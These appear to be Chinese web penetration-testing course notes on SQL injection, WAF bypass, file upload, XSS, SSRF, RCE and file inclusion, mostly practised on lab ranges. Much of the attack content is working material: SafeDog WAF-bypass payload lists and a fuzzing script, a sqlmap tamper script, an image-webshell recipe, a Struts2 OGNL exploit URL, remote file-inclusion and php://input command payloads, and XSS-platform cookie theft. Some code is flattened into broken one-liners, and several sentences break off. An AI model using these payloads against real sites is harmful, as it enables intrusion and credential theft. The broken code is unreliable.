if(条件,5,0) #条件成立 返回 5 反之 返回 0
sleep(5) #SQL 语句延时执行 5 秒
mid(a,b,c) #从位置 b 开始,截取 a 字符串的 c 位
substr(a,b,c) #从 b 位置开始,截取字符串 a 的 c 长度
left(database(),1),database() #left(a,b)从左侧截取 a 的前 b 位
length(database())=8 #判断数据库 database()名的长度
ord=ascii ascii(x)=97 #判断 x 的 ascii 码是否等于 9
1.各种查询方式注入测试(报错盲注)
打开靶场pikachu抓包注入
payload:
1.username=x’ or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tableslimit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or ’ &password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit
2.username=x’ or updatexml(1,concat(0x7e,(version())),0) or
'&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit
3.username=x’ or extractvalue(1,concat(0x7e,database())) or
'&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit
update
payload update:
1.sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky’ or (select 1 from(select
count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets
group by x)a) or '&email=wuhan&submit=submit
2.sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky’ or
updatexml(1,concat(0x7e,(version())),0) or ‘&email=wuhan&submit=submit
sex=%E7%94%B7&phonenum=13878787788&add=Nicky’ or extractvalue(1,concat(0x7e,database())) or ’ &email=wuhan&submit=submit
delete
payload delete:
1./pikachu/vul/sqli/sqli_del.php?id=56+or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)
2.pikachu/vul/sqli/sqli_del.php?id=56+or+updatexml+(1,concat(0x7e,database()),0)
3./pikachu/vul/sqli/sqli_del.php?id=56+or+extractvalue(1,concat(0x7e,database()))
2.sqlilabs-less2 注入测试(延时盲注)
打开靶场
延时注入
一般都是工具去注入;
采用一些语句去猜数据库长度,内容等;
延时盲注:
1.and if(ascii(substr(database(),1,1))=115,sleep(5),1)- -+
2.and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)- -+
用ASCII码可以防止引号转义;
3.sqlilabs-less5 注入测试(布尔盲注)
打开靶场
观察源代码
布尔注入成功
1)加解密注入
提交方法(post、get等)传递的参数被加密了,然后传递给服务器,加密方式有base64等;
网站上的参数如果加密了,注入的语句也要进行加密,才能实现注入,否则会注入失败;
2)二次注入
二次注入无法通过扫描工具实现的,需要代码审计的时候才能发现,不好触发,无法在黑盒测试中使用;
注册一个包含恶意代码的用户,然后网站调用用户名的时候恶意代码就会执行;
3) DNSlog注入
DNSlog注入需要注入点是高权限;
首先自己需要创建一个可以配置的域名,我们这里用的是ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了。DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息;
也可以采用工具dnslogSqlinj,下载地址:https://github.com/ADOOO/DnslogSqlinj
DNSlog:解决了盲注不能回显数据,效率低的问题;
1.sqlilabs-less21-cookie&加解密注入(实际案例)
打开靶场
登录账号密码,然后抓包,就可以看到cookie被加密,所以注入点在cookie这里;
使用报错注入,报错注入也采取base64加密,才能注入,得到数据库的版本,注入成功;
2.sqlilabs-less24-post 登陆框&二次注入(实际案例)
打开靶场,创建一个新用户,名字和已有用户不同,在后面加上‘#
修改新建用户密码,但是#把密码条件注释了,所以修改的就是本来用户的密码;
因为 #’ 闭合了引号,所以修改密码成功;
实战情况下有长度限制,分为前端限制和后端限制;
前端限制是写在html里面的,会有长度限制,但是可以修改的;
后端限制是在php里面的,无法突破;
二次注入需要配合代码,实战情况下很多东西都是未知的,不知道什么时候能触发二次注入;
3.sqlilabs-less9-load_file&dnslog 带外注入(实际案例)
注册账号,然后执行sql语句
平台接收,从中获取信息;
4.py-DnslogSqlinj-dnslog 注入演示脚本演示(实际案例)
下载工具,并且启用
使用语句注入查询信息
堆叠查询注入
Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。
堆叠注入是多条语句注入,堆叠注入不是每个数据库都支持的,堆叠注入是有局限性的;
phpstudy+safedog 安装找不到服务解决
参考链接:https://www.freesion.com/article/15621202542/
市面上常见的 waf 产品列表分析-wafw00
WAF及绕过思路
自己下载一个安全狗
漏洞检测会检测请求方式,可以更换请求方式,然后实现注入,前提条件是数据支持替换提交方式;
会阻止查询数据库相关信息,不能直接写关键字,例如database()等;
WAF绕过-应用层
1.可以加一些符号,绕过匹配规则;
每个数据库特殊符号都不一样;拦截的是一个整体,实现拆封就可以绕过;
2.大小写/关键字替换;
id=1 UnIoN/**/SeLeCT 1,user()
Hex() bin() 等价于 ascii()
Sleep() 等价于 benchmark()
Mid()substring() 等价于 substr()
@@user 等价于 User()
@@Version 等价于 version()
3.各种编码
大小写,URL,hex,%0A 等
4.注释使用
// – --+ # // + :%00 /!/等
a写在这里因为安全狗没有拦截union a select
5.再次循环
union==uunionnion
6.等价替换
user()=@@user() and=& or=| ascii=hex 等
7.参数污染
?id=1&id=2&id=3
HTTP参数污染
8.编码解码及加密解密
s->%73->%25%37%33
hex,unlcode,base64 等
9.更改请求提交方式
GET POST COOKIE 等
POST->multipart/form-data
模糊测试(fuzz)
fuzz不是技术是思路。通过编写脚本进行批量测试。
1.Sqlilabs-Less38-堆叠注入(多语句)
构造payload:
http://192.168.74.144/sqli-labs-master/Less-38/?id=1’;insert into users(id,username,password) values (‘38’,‘less38’,‘hello’)–+
成功创建一个新用户;
例:注入需要管理员账号密码,密码是加密的,无法解密;
堆叠注入进行插入数据,用户密码自定义的,可以正常解决登录;
2.WAF部署-安全狗,宝塔等waf搭建部署
搭建成功
3.简要讲解安全狗,宝塔等防护waf策略规则
是通过网站防护、资源防护等手段来保护网站的。
会对关键字进行匹配,来保护网站
4.简要演示安全狗 bypass sqlinject 防护规则
部分 bypass sqlinject payload
id=1 union/%00/%23a%0A/!/!select 1,2,3*/;%23
id=-1 union/%00/%23a%0A/!/!select%201,database%23x%0A(),3*/;%23
id=-1%20union%20/!44509select/%201,2,3%23
id=-1%20union%20/!44509select/%201,%23x%0A/!database/(),3%23
id=1/&id=-1%20union%20select%201,2,3%23*/
id=-1 %20union%20all%23%0a%20select%201,2,3%23
-1 %20union%20all%23%0a%20select%201,%230%0Adatabase//(),3%23
涉及资源
1.https://www.cnblogs.com/backlion/p/9721687.html
2.https://blog.csdn.net/nzjdsds/article/details/93740686
前言:在攻防实战中,往往需要掌握一些特性,比如服务器、数据库、应用层、WAF 层等,以便我们更灵活地去构造 Payload,从而可以和各种WAF 进行对抗,甚至绕过安全防御措施进行漏洞利用。
衔接18天课程
1.数据库特性
1、Mysql 技巧
(1)mysql 注释符有三种:#、/…/、-- … (注意–后面有一个空格)
(2)空格符:[0x09,0x0a-0x0d,0x20,0xa0]
(3)特殊符号:%a 换行符
可结合注释符使用%23%0a,%2d%2d%0a。
(3)内联注释:
/!UnIon12345SelEcT/ 1,user() //数字范围 1000-50540
2.FUZZ绕过脚本
#!/usr/bin/envpython """ Copyright(c)2006-2019sqlmapdevelopers(http://sqlmap.org/) Seethefile'LICENSE'forcopyingpermission """ import os from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__=PRIORITY.HIGHEST def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s"%(os.path.basename(__file__).split(".")[0],DBMS.MYSQL)) def tamper(payload,**kwargs): #%23a%0aunion/*!44575select*/1,2,3 if payload: payload=payload.replace("union","%23a%0aunion") payload=payload.replace("select","/*!44575select*/") payload=payload.replace("%20","%23a%0a") payload=payload.replace("","%23a%0a") payload=payload.replace("database()","database%23a%0a()") return payload import requests,time url='http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1' union='union' select='select' num='1,2,3' a={'%0a','%23'} aa={'x'} aaa={'%0a','%23'} b='/*!' c='*/' def bypass(): for xiaodi in a: for xiaodis in aa: for xiaodiss in aaa: for two in range(44500,44600): urls=url+xiaodi+xiaodis+xiaodiss+b+str(two)+union+c+xiaodi+xiaodis+xiaodiss+select+xiaodi+xiaodis+xiao diss+num #urlss=url+xiaodi+xiaodis+xiaodiss+union+xiaodi+xiaodis+xiaodiss+b+str(two)+select+c+xiaodi+xiaodis+xia odiss+num try: result=requests.get(urls).text len_r=len(result) if (result.find('safedog')==-1): #print('bypass url addreess:'+urls+'|'+str(len_r)) print('bypass url addreess:'+urls+'|'+str(len_r)) if len_r==715: fp = open('url.txt','a+') fp.write(urls+'\n') fp.close() except Exception as err: print('connecting error') time.sleep(0.1) if__name__=='__main__': print('fuzz strat!') bypass()
3.伪造成百度爬虫脚本
import json
import requests
url='http://192.168.0.103:8080/'
head={
'User-Agent':'Mozilla/5.0(compatible;Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)'
}
for data in open('PH1P.txt'):
data=data.replace('\n','')
urls=url+data
code=requests.get(urls).status_code
print(urls+'|'+str(code))
1.简要其他绕过方式学习
1、白名单
方式一:IP 白名单
从网络层获取的 ip,这种一般伪造不来,如果是获取客户端的 IP,这样就可能存在伪造 IP 绕过的情
况。
测试方法:修改 http 的 header 来 bypass waf
X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
X-Real-ip
方式二:静态资源
特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css 等等),类似白名单机制,waf 为了检测
效率,不去检测这样一些静态文件名后缀的请求。
http://10.9.9.201/sql.php?id=1
http://10.9.9.201/sql.php/1.js?id=1
备注:Aspx/php 只识别到前面的.aspx/.php 后面基本不识别
方式三:url 白名单
为了防止误拦,部分 waf 内置默认的白名单列表,如 admin/manager/system 等管理后台。只要 url
中存在白名单的字符串,就作为白名单不进行检测。
常见的 url 构造姿势:
http://10.9.9.201/sql.php/admin.php?id=1
http://10.9.9.201/sql.php?a=/manage/&b=…/etc/passwd
http://10.9.9.201/…/…/…/manage/…/sql.asp?id=2
waf通过/manage/"进行比较,只需url中存在/manage/就作为白名单不进行检测,这样我们就可以通过/sql.php?a=/manage/&b=…/etc/passwd绕过防御规则。
方式四:爬虫白名单
部分waf有提供爬虫白名单的功能,识别爬虫的技术一般有两种:
1、根据UserAgent 2、通过行为判断
UserAgent可以很容易欺骗,我们可以伪装成爬虫尝试绕过。
User Agent Switcher(Firefox附加组件),下载地址:
https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher/
2.FUZZ 绕过脚本结合编写测试
FUZZ脚本编写
3.阿里云盾防 SQL 注入简要分析
4.安全狗+云盾SQL注入插件脚本编写
自己写脚本,直接使用脚本是跑不了的,放到本地抓包跑一下;
如果开启了流量防护,sqlmap运行的太快也会被拦截;
解决方法:
1.添加延时参数 --delay参数
2.使用代理池
随机出IP
3.更改请求头,添加http白名单 浏览器请求头 --user-Agent=" "
4.自己编写
然后使用TXT文本里的数据包注入
凡是存在文件上传的地方均有可能存在文件上传漏洞,有文件上传就可以测试漏洞;
指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。
文件上传漏洞的时候看对方的代码是否写的比较完整、安全,疏忽了验证就会造成文件上传漏洞;
有文件上传的功能就可以去测试;
造成文件上传漏洞的主要原因是应用程序中有上传功能,但上传的文件没有通过严格的合法性检查或者检查功能有缺陷,导致木马文件上传到服务器。文件上传漏洞危害极大,因为恶意代码可以直接上传到服务器,可能造成服务器网页修改、网站暂停、服务器远程控制、后门安装等严重后果。
1.黑盒查找
扫描敏感文件,获取上传地址;
根据网站给出的应用,进入到网站后台也可以文件上传;
首先找到文件上传的窗口,然后判断是服务器端还是客户端的验证,客户端较容易判断出来,最后检验是哪种服务器端的过滤方式。判断是客户端和服务端检验,再检验是白名单还是黑名单,根据具体情况来决定采用什么绕过方式。
2.白盒查找
从对方的源代码里来分析漏洞;
文件上传漏洞有哪些需要注意的地方
拿到一个文件上传,对文件上传的类型做一个区分;确定文件上传的类型,采取这样的类型来去做测试;
- 常规文件上传地址的获取说明
使用谷歌语法搜索inurl:upload.php
搜索查询上传页面
可以使用工具扫描
2.不同格式下的文件类型后门测试
不要妄想通过一个图片你能带着你的后门来控制网站。直接改格式有时候并没有什么用,什么格式代码就用什么格式去执行。
3.配合解析漏洞下的文件类型后门测试
解析漏洞是指web服务器因对http请求处理不当导致将非可执行的脚本,文件等当做可执行的脚本,文件等执行。该漏洞—般配合服务器的文件上传功能使用,以获取服务器的权限。
解析漏洞一般发生在iis、nginx、apache
首先启用vulhub靶场,搭建文件上传解析漏洞的靶场;
启动靶场环境
访问靶场
提交的图片中插入语句<?php phpinfo();?>,然后实现解析漏洞;
这并不是说这样加了都可以,是因为这里有Ngiinx畸形解析漏洞, 对方在解析上的出现了混乱;
解析的规则是要看有没有漏洞,有的话可以按这种方法,没有的话就无法实现
4.本地文件上传漏洞靶场环境搭建测试
靶场下载地址:https://github.com/c0ny1/upload-labs
用phpstudy搭建upload-labs这个靶场;
PHP称为后端语言是因为它的代码和你前端执行源代码是不同的。
5.某 CMS 及 CVE 编号文件上传漏洞测试
可以去网上查询FineCMS的漏洞,比自己一个人乱搞可以提高很多效率;
weblogic任意文件上传漏洞
启动靶场环境
跟着靶场的复现一步步完成就可以
最后要上传一个jsp文件,我没有这样的后门文件,所以最后没办法上传成功,但是前面的步骤都是正确的;
后缀名,类型,文件头等
后缀名:
黑名单:不允许上传的格式后缀
asp php jsp aspx cgi war 等
php5、phtml等后缀没有定义到黑名单里面,也许可以使用绕过文件上传
白名单:可以上传的格式后缀
jpg png zip rar gif 等
文件类型:MIME 信息
文件头:内容头信息
黑名单绕过:
1.uploadlabs Pass-02
打开靶场,查看源代码
只判断文件类型,抓包修改文件类型为image/jpeg、image/png、image/gif
修改文件类型后
2.uploadlabs Pass-03
打开靶场,查看源代码
黑名单里面不允许上传.asp、.aspx、.php、.jsp
但是我们可以上传.php5、.phtml等;
修改后缀名,上传成功
3.uploadlabs Pass-04
打开靶场,查看源代码
所有的后缀名基本上都不能使用了,除了.htaccess
先上传一个.htaccess后缀名的文件
内容如下:
<FilesMatch "shana">
Sethandler application/x-httpd-php
</FilesMatch >
然后再上传一个.jpg后缀名的文件
上传成功
4.uploadlabs Pass-05
打开靶场,查看源代码
可以看出有大小写的区分,可以使用大小写绕过
更改大小写,上传成功
5.uploadlabs Pass-06
打开靶场,查看源代码,没有对后缀名进行去空,因此可以在后缀名加空格绕过
修改文件名后缀名大小写,增加空格
文件上传成功
图片一句话制作方法:
copy 1.png /b + shell.php /a webshell.jpg
文件头检测:
是指当浏览器上传到服务器的时候,白名单进行的文件头检测,符合,则允许上传,否则不允许上传。
图像文件信息判断:
逻辑安全=二次渲染:
二次渲染的缘分逻辑存在漏洞,先将文件上传,之后再判断,符合就保存,不符合删除,可利用条件竞争来进行爆破上传。
逻辑安全-条件竞争:
竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,而且他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果。
目录命名-x.php/.
数组接受+目录命名:
1.uploadlabs Pass-14
打开靶场,查看源代码,图片木马绕过;
制作图片,生成图片木马
2.uploadlabs Pass-17
打开靶场,查看源代码,二次渲染
$is_upload = false; $msg = null; if (isset($_POST['submit'])){ // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径 $filename = $_FILES['upload_file']['name']; $filetype = $_FILES['upload_file']['type']; $tmpname = $_FILES['upload_file']['tmp_name']; $target_path=UPLOAD_PATH.'/'.basename($filename); // 获得上传文件的扩展名 $fileext= substr(strrchr($filename,"."),1); //判断文件后缀与类型,合法才进行上传操作 if(($fileext == "jpg") && ($filetype=="image/jpeg")){ if(move_uploaded_file($tmpname,$target_path)){ //使用上传的图片生成新的图片 $im = imagecreatefromjpeg($target_path); if($im == false){ $msg = "该文件不是jpg格式的图片!"; @unlink($target_path); }else{ //给新图片指定文件名 srand(time()); $newfilename = strval(rand()).".jpg"; //显示二次渲染后的图片(使用用户上传图片生成的新图片) $img_path = UPLOAD_PATH.'/'.$newfilename; imagejpeg($im,$img_path); @unlink($target_path); $is_upload = true; } } else { $msg = "上传出错!"; } }else if(($fileext == "png") && ($filetype=="image/png")){ if(move_uploaded_file($tmpname,$target_path)){ //使用上传的图片生成新的图片 $im = imagecreatefrompng($target_path); if($im == false){ $msg = "该文件不是png格式的图片!"; @unlink($target_path); }else{ //给新图片指定文件名 srand(time()); $newfilename = strval(rand()).".png"; //显示二次渲染后的图片(使用用户上传图片生成的新图片) $img_path = UPLOAD_PATH.'/'.$newfilename; imagepng($im,$img_path); @unlink($target_path); $is_upload = true; } } else { $msg = "上传出错!"; } }else if(($fileext == "gif") && ($filetype=="image/gif")){ if(move_uploaded_file($tmpname,$target_path)){ //使用上传的图片生成新的图片 $im = imagecreatefromgif($target_path); if($im == false){ $msg = "该文件不是gif格式的图片!"; @unlink($target_path); }else{ //给新图片指定文件名 srand(time()); $newfilename = strval(rand()).".gif"; //显示二次渲染后的图片(使用用户上传图片生成的新图片) $img_path = UPLOAD_PATH.'/'.$newfilename; imagegif($im,$img_path); @unlink($target_path); $is_upload = true; } } else { $msg = "上传出错!"; } }else{ $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!"; } }
二次渲染:分两步,先把文件上传服务器,服务器将这个文件进行保存或删除(上传的时候下面有保存和上传的按钮)
3.CVE-2017-12615-上传-Tomcat
打开靶场环境
然后根据提示解决问题
4.中间件解析漏洞+配合文件上传测试
IIS-上传-解析
各个平台解析漏洞讲解:
IS,Apache,Nginx
各个 WEB 编辑器安全讲解:
https://navisec.it/编辑器漏洞手册/
各个 CMS 文件上传简要讲解:
wordpress,phpcms,
Apache解析漏洞-低版本
在低版本的apache中,若文件后缀x.php.xxx.yyy,在服务器中若此文件.yyy后缀不被解析,则依次向前解析,成功为止。
如果服务器中间件apache为较低版本的话,我们利用文件上传,上传一个不被识别的文件后缀,利用解漏洞规则成功解析该文件,文件中的后门代码就会被
Apache 换行解析-vulhub
这个漏洞以前复现过,这次就不复现了;
Nginx 解析漏洞-vulhub
这个之前也复现过,就不再复现了;
Nginx文件名逻辑-vulhub
打开靶场,复现环境
1.Fckeditor exp 利用
构件组成
实际的编辑器
2.ueditor 漏洞利用
原理:XSS简称跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在WEB应用程序中的计算机安全漏洞,是由于WEB应用程序对用户的输入过滤不足而产生的
攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取Cookies资料窃取,会话劫持,钓鱼欺骗等各种攻击
XSS跨站大部分都是前端的漏洞,和网站脚本没有关系。
XSS简介
跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而JavaScript是新型的“ShellCode”。
xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。
产生层面
属于前端漏洞,产生在浏览器界面,JavaScript代码能干什么,执行之后就会达到相应的效果
函数类
一般哪些函数会和这些漏洞有关系,常见的输出型函数会产生关系,比如:print、print_r、echo、printf、sprintf、die、var_dump、var_export
危害影响
会受到JavaScript语句的影响,想实现什么功能,实现什么攻击,就通过JS代码来实现的
浏览器内核版本
浏览器内核版本也会决定漏洞的情况,利用这个漏洞需要浏览器版本和内核没有过滤XSS攻击
例如:
像火狐就可以成功的执行这个JS代码
但是IE浏览器就会有过滤,阻止JS代码的执行
漏洞攻击成功的前提条件:
浏览器内核版本会决定漏洞是否执行,浏览器版本高的话,会有一些安全策略,阻止一些JS脚本的执行。即使有漏洞也无法利用成功
1.反射型
原理:将恶意js代码作为输入提交到服务器端,服务器端解析后响应,js代码随响应内容一起传回给浏览器,最后浏览器解析执行js代码。只有一次效果,通常伪造成链接获取cookie或着进行钓鱼欺骗。通常出现在搜索框和用户登录口。
<非持久化> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
2.存储型
攻击者传入的js代码在服务器端(数据库,内存,文件系统等)存储下来,用户每次访问都会执行恶意构造的js代码。持久性的。通常出现在留言板等与数据库交互的地方。
3.DOM型
DOM,全称Document Object Model,可以认为是反射性xss,但是差别在于DOM XSS的代码并不需要服务器参与,发生在客户端,DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等,触发XSS靠的是浏览器端的DOM解
析。通常出现在页面跳转的地方,常用方法location.replace,document.write()等调用DOM对象的地方。
区别
#’ οnclick=“alert(2)”>
1.XSS 漏洞代码绕过靶场使用
在Pikachu的靶场先试一下反射型的。
再试一下存储型
一样还是成功的
2.XSS 平台及工具简要演示测试
百度XSS平台
1、 注册
2.、新创建一个我的项目
3.、选择自己需要的功能,打钩
4、查看代码
5、把这些跨站代码弄到目标攻击的网站
6.、等管理员查看后台留言板的时候
7.、发现请求了这个地址。在平台上就有信息了
cookie session
用户凭据:通过凭据可以判断对方身份信息
cookie 存储本地 存活时间较长 小中型
session 会话 存储服务器 存活时间较短 大型
还可以在kali里面安装beef,类似于XSS平台。
通过XSS平台获取cookie
网络上还是有很多大马,后门。都是通过别人下载之后,通过他人之手盗取别人的信息
跨站攻击主要攻击的地方
1.某营销订单系统 XSS 盲打_平台
管理员订单查询的时候
成功的触发了跨站代码
2.某 Shell 箱子系统 XSS 盲打_工具
将盗取的信息统一的放到这个箱子里进行管理,当别人使用你分享的后门工具时,你后门工具里面的代码,会把你获取的权限,发送到这个箱子里面。所以谨慎使用他人工具
3.工具 Http/s 数据包提交 Postman 使用
上面的是通过XSS平台获取的cookie,下面是浏览器原本的cookie,明显的不一样。
用postman这个工具,把得到的cookie加上这个PHPSESSID,就可以访问后台了
如果对方网站采取session验证的话,盗取cookie是无效的。session没有储存到对方的电脑上,储存到服务器上。只能盗取本地的,session在服务端,所以我们没有接收到PHPSESSID这个数据。
但是在phpinfo()页面,我们是可以看到的我们需要的PHPSESSID
所以我们可以在XSS平台上,借助一种功能,获取页面源码,访问phpinfo(),得到session的ID
CSRF 漏洞(跨站请求伪造):漏洞是由于未校验请求来源,导致攻击者可在第三方站点发起 HTTP 请求,并以受害者的目标网站登录态(cookie、session 等)请求,从而执行一些敏感的业务功能操作
CSRF攻击成功,首先需要点击伪造链接,其次还需要被攻击者的一些敏感页面是在登陆状态的,才有可能实施攻击
漏洞检测
用Burp Suite上自带的插件来查询是否有CSRF漏洞
复制下面的HTML代码,粘贴到服务器中,并且看看在服务器里是否可以更改信息
如果可以更改,就证明有这个漏洞
手机号码被更改了,所以存在CSRF漏洞,没有反应的话就没有这个漏洞
防御方案
1、当用户发送重要的请求时需要输入原始密码
2、设置随机 Token
数据包里面有token,就是用来检测数据的唯一性
3、检验 referer 来源,请求时判断请求链接是否为当前管理员正在使用的页面(管理员在编辑文章,
黑客发来恶意的修改密码链接,因为修改密码页面管理员并没有在操作,所以攻击失败)
4、设置验证码
5、限制请求方式只能为 POST
SSRF(Server-Side Request Forgery, 服务端请求伪造)利用漏洞可以发起网络请求来攻击内网服务。主要产生在网站的应用上。
各个协议调用探针:http,file,dict,ftp,gopher 等
漏洞攻击:端口扫描,指纹识别,漏洞利用,内网探针等
http://192.168.64.144/phpmyadmin/
file:///D:/www.txt
dict://192.168.64.144:3306/info
ftp://192.168.64.144:21
内网探针:通过服务端请求其内网中的信息,内网穿透过去,通过协议,http,file,ftp,等
在内网中是没有办法直接请求信息的,通过访问网站实现跳板,来对内网实现攻击
内网IP地址是私有的,IP端并不多,做一个字典可以跑。
攻击的不是真实内网去,而是去打一些藏在内网中的服务,比如数据库被放在内网中无法提取,邮件服务器,隧道,代理等等等等
本地上传和远程上传
本地上传:将自己本地的文件和图片上传到对方的网站上去
远程上传:产生ssrf的明显漏洞,
1.SSRF_PHP,JAVA 漏洞代码协议运用
2.SSRF 实战_图片加载翻译转码等应用说明
下面这个粘贴图片地址符合就可以测试是否有ssrf漏洞,本地上传不可以测试是否有ssrf漏洞
有道词典这里就可能有ssrf漏洞
在 Web 应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。
写一个简单的代码
<?php
$code=$_GET['x'];
eval($code);
?>
测试一下,变成了代码去解析,这里就是一个小的代码执行漏洞,想用代码写入文件,寻找写入文件的命令,在用代码执行漏洞
写一个简单的代码
<?php
$code=$_GET['x'];
system($code);
?>
这次把eval换成了system,再用系统命令ipconfig
总结:找代码执行和命令执行的时候观察网站源码,看网站的具体应用。
RCE 漏洞产生相关性函数
相关性函数特别多,这里只是举一个例子
1.墨者靶场黑盒功能点命令执行-应用功能
打开靶场看一下,我想当然的就直接输入IP和命令
但是发现没有用,前端过滤掉了,还是要抓包
我们抓包之后,就可以实现命令执行
成功的实现了命令执行
然后我们在cat一下,这里说明一下,空格被过滤,所以需要我们想个办法绕过空格
最后成功拿到flag
火狐也是可以抓包发包的
2.墨者靶场白盒代码及命令执行-代码分析
打开靶场看一下,清楚的看到一句php的代码
然后我们用php在线环境,解密一下,可以看到a的参数
这样我们在URL上输入参数a
在参数a里实现命令执行,获得key
补充一下,关于解密得到的内容 echo $_REQUEST[a];; ?>
echo输出反引号内的内容会被当做系统命令执行
3.墨者靶场黑盒层 RCE 漏洞检测-公开漏洞
打开靶场
去百度上搜索一下Webmin有哪些漏洞,开始漏洞复现,并且需要修改两个地方
抓包可以看到漏洞复现成功
根据靶场页面的提示,key在根目录下面,我们打开根目录,找到了key.txt
打开key.txt,拿到我们的flag
4.Javaweb-Struts2 框架类 RCE 漏洞-漏洞层面
看这个是为了告诉大家,RCE漏洞在很多层面都有漏洞的
在网站上搜一些exp试一下
exp:%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c%23process%3d%40java.lang.Runtime%40getRuntime().exec(%23parameters.command%5b0%5d)%2c%23ros%3d(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())%2c%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2c%23ros)%2c%23ros.flush()%2c%23xx%3d123%2c%23xx.toString.json?command=ls
1
成功发现目录
打开key.txt,拿到flag
额外补充:
poc是验证的,验证漏洞是否存在
exp是利用的,用来利用漏洞
文件包含原理:文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
文件包含各个脚本代码
ASP,PHP,JSP,ASPX等
<! --#include file=“1.asp” -->
<! --#include file=“top.aspx” -->
<c:import url=“http://thief.one/1.jsp”>
<jsp:include page=“head.jsp”/>
<%@ include file=“head.jsp”%>
1.本地文件包含代码测试-原理
我们在本地写一个代码测试一下文件包含漏洞
本地包含-无限制
http://127.0.0.1:8080/include.php?filename=1.txt
http://127.0.0.1:8080/include.php?filename=…/…/…/www.txt
<?php
$filename=$_GET['filename'];
include($filename);
?>
本地包含-有限制
<?php
$filename=$_GET['filename'];
include($filename.".html");
?>
这里可以用一些方法绕过限制
%00截断:条件:magic_quotes_gpc = Off php版本<5.3.4
filename=…/…/…/www.txt%00
长度截断:条件:Windows,点好需要长于256;linux长于4096
2.远程文件包含代码测试-原理
1.http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt
2.http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%20
3.http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%23
4.http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt?
3.各种协议流提交流测试-协议
每个脚本支持的协议,之前也要发过。
php://filter/read=convert.base64-encode/resource=index.php
http://e5369bfd1d9c4bc4af66983b843eb0f3760d8c19751b457d.changame.ichunqiu.com/?path=php://in
put Post:<?php system('ls');?>
http://e5369bfd1d9c4bc4af66983b843eb0f3760d8c19751b457d.changame.ichunqiu.com/?path=php://fil
ter/read=convert.base64-encode/resource=dle345aae.php
http://127.0.0.1:8080/include.php?filename=data://text/plain,<?php%20phpinfo();?>
4.某 CMS 程序文件包含利用-黑盒
5.CTF-南邮大-白盒
链接:http://4.chinalover.sinaapp.com/web7/index.php
打开靶场
点击过后看到,有file=show.php
这里经过测试可以发现有文件包含漏洞,我们这里用伪协议
http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
就可以得到base64加密过后的flag
经过base64解密过后,得到flag
6.i 春秋百度杯真题-白盒
看一下题目
打开靶场
要输入语句跳转页面
发现了一个奇怪的文件,打开看一下,得到flag
区别:
1.文件被解析,则是文件包含漏洞
2.显示源代码,则是文件读取漏洞
3.提示文件下载,则是文件下载漏洞
漏洞原理:
